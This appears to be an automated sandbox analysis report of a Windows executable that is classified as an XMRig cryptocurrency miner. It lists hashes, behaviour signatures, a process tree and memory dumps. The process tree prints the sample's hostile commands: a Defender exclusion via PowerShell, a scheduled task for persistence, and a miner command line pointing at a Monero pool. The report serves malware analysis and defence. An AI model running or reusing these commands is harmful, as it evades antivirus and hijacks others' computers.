Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    42s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27/12/2022, 15:13

General

  • Target

    file.exe

  • Size

    2.7MB

  • MD5

    4f62eb4f1a2c1fc46df059120e6e6cef

  • SHA1

    bd2fcde45f562ec5b0c741fa102c3dfa0234d511

  • SHA256

    6ee27f5f4be9f1cfeb98b5190367ca60d1c81b527b730d808b4b29e30b44931d

  • SHA512

    38c9d721302f345a8c1efcf6d40a735e181b67d2fe8e19bf5a20e6347de325f1c974f553ad640553f1fe3546729600a8d485964a36fbb6d76d7c58244ac72dd3

  • SSDEEP

    49152:IvEl6mjUImipdKvT6QD66iMVptYC0qs7QVlWSwI9SrxCsU:IamScvPfOCHs8yCs

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 13 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1512
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:676
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
        3⤵
        • Creates scheduled task(s)
        PID:1668
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1616

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1512-82-0x000000000285B000-0x000000000287A000-memory.dmp

    Filesize

    124KB

  • memory/1512-81-0x0000000002854000-0x0000000002857000-memory.dmp

    Filesize

    12KB

  • memory/1512-80-0x000000000285B000-0x000000000287A000-memory.dmp

    Filesize

    124KB

  • memory/1512-78-0x000007FEEC420000-0x000007FEECF7D000-memory.dmp

    Filesize

    11.4MB

  • memory/1512-79-0x0000000002854000-0x0000000002857000-memory.dmp

    Filesize

    12KB

  • memory/1512-77-0x000007FEECF80000-0x000007FEED9A3000-memory.dmp

    Filesize

    10.1MB

  • memory/1512-75-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp

    Filesize

    8KB

  • memory/1616-108-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-109-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-113-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-106-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-104-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-102-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-100-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-99-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-124-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-114-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-116-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-118-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-111-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-121-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1616-122-0x0000000000170000-0x0000000000190000-memory.dmp

    Filesize

    128KB

  • memory/1616-123-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1960-70-0x000007FEFB950000-0x000007FEFB9A6000-memory.dmp

    Filesize

    344KB

  • memory/1960-71-0x00000000000C0000-0x00000000003D0000-memory.dmp

    Filesize

    3.1MB

  • memory/1960-73-0x000007FEFCA70000-0x000007FEFCA92000-memory.dmp

    Filesize

    136KB

  • memory/1960-86-0x000007FEFB730000-0x000007FEFB945000-memory.dmp

    Filesize

    2.1MB

  • memory/1960-87-0x0000000000070000-0x00000000000B1000-memory.dmp

    Filesize

    260KB

  • memory/1960-88-0x000007FEFDD70000-0x000007FEFDD8F000-memory.dmp

    Filesize

    124KB

  • memory/1960-89-0x000007FEFC920000-0x000007FEFC937000-memory.dmp

    Filesize

    92KB

  • memory/1960-90-0x000007FEF0F90000-0x000007FEF0FAC000-memory.dmp

    Filesize

    112KB

  • memory/1960-91-0x000007FEF0FB0000-0x000007FEF1012000-memory.dmp

    Filesize

    392KB

  • memory/1960-92-0x000007FEFD570000-0x000007FEFD5BD000-memory.dmp

    Filesize

    308KB

  • memory/1960-93-0x000007FEF8010000-0x000007FEF8074000-memory.dmp

    Filesize

    400KB

  • memory/1960-94-0x000007FEF8080000-0x000007FEF80F1000-memory.dmp

    Filesize

    452KB

  • memory/1960-95-0x000007FEFCEF0000-0x000007FEFCF15000-memory.dmp

    Filesize

    148KB

  • memory/1960-96-0x000007FEFAA00000-0x000007FEFAA27000-memory.dmp

    Filesize

    156KB

  • memory/1960-97-0x000007FEFD480000-0x000007FEFD4B6000-memory.dmp

    Filesize

    216KB

  • memory/1960-98-0x000007FEFC740000-0x000007FEFC79B000-memory.dmp

    Filesize

    364KB

  • memory/1960-72-0x000007FEF6560000-0x000007FEF668C000-memory.dmp

    Filesize

    1.2MB

  • memory/1960-76-0x000007FEFDEE0000-0x000007FEFDFB7000-memory.dmp

    Filesize

    860KB

  • memory/1960-55-0x000007FEF6970000-0x000007FEF69DF000-memory.dmp

    Filesize

    444KB

  • memory/1960-67-0x000007FEFE090000-0x000007FEFE293000-memory.dmp

    Filesize

    2.0MB

  • memory/1960-69-0x0000000000070000-0x00000000000B1000-memory.dmp

    Filesize

    260KB

  • memory/1960-68-0x00000000000C0000-0x00000000003D0000-memory.dmp

    Filesize

    3.1MB

  • memory/1960-66-0x000007FEFDD90000-0x000007FEFDEBD000-memory.dmp

    Filesize

    1.2MB

  • memory/1960-65-0x000007FEF5950000-0x000007FEF633C000-memory.dmp

    Filesize

    9.9MB

  • memory/1960-64-0x000007FEFE2B0000-0x000007FEFE38B000-memory.dmp

    Filesize

    876KB

  • memory/1960-63-0x000007FEF6690000-0x000007FEF6787000-memory.dmp

    Filesize

    988KB

  • memory/1960-62-0x000007FEFDCF0000-0x000007FEFDD61000-memory.dmp

    Filesize

    452KB

  • memory/1960-61-0x000007FEFD1F0000-0x000007FEFD25C000-memory.dmp

    Filesize

    432KB

  • memory/1960-60-0x00000000770C0000-0x00000000771DF000-memory.dmp

    Filesize

    1.1MB

  • memory/1960-59-0x000007FEFD4C0000-0x000007FEFD55F000-memory.dmp

    Filesize

    636KB

  • memory/1960-58-0x00000000771E0000-0x00000000772DA000-memory.dmp

    Filesize

    1000KB

  • memory/1960-57-0x000007FEFD5C0000-0x000007FEFD627000-memory.dmp

    Filesize

    412KB

  • memory/1960-56-0x000007FEF68D0000-0x000007FEF696C000-memory.dmp

    Filesize

    624KB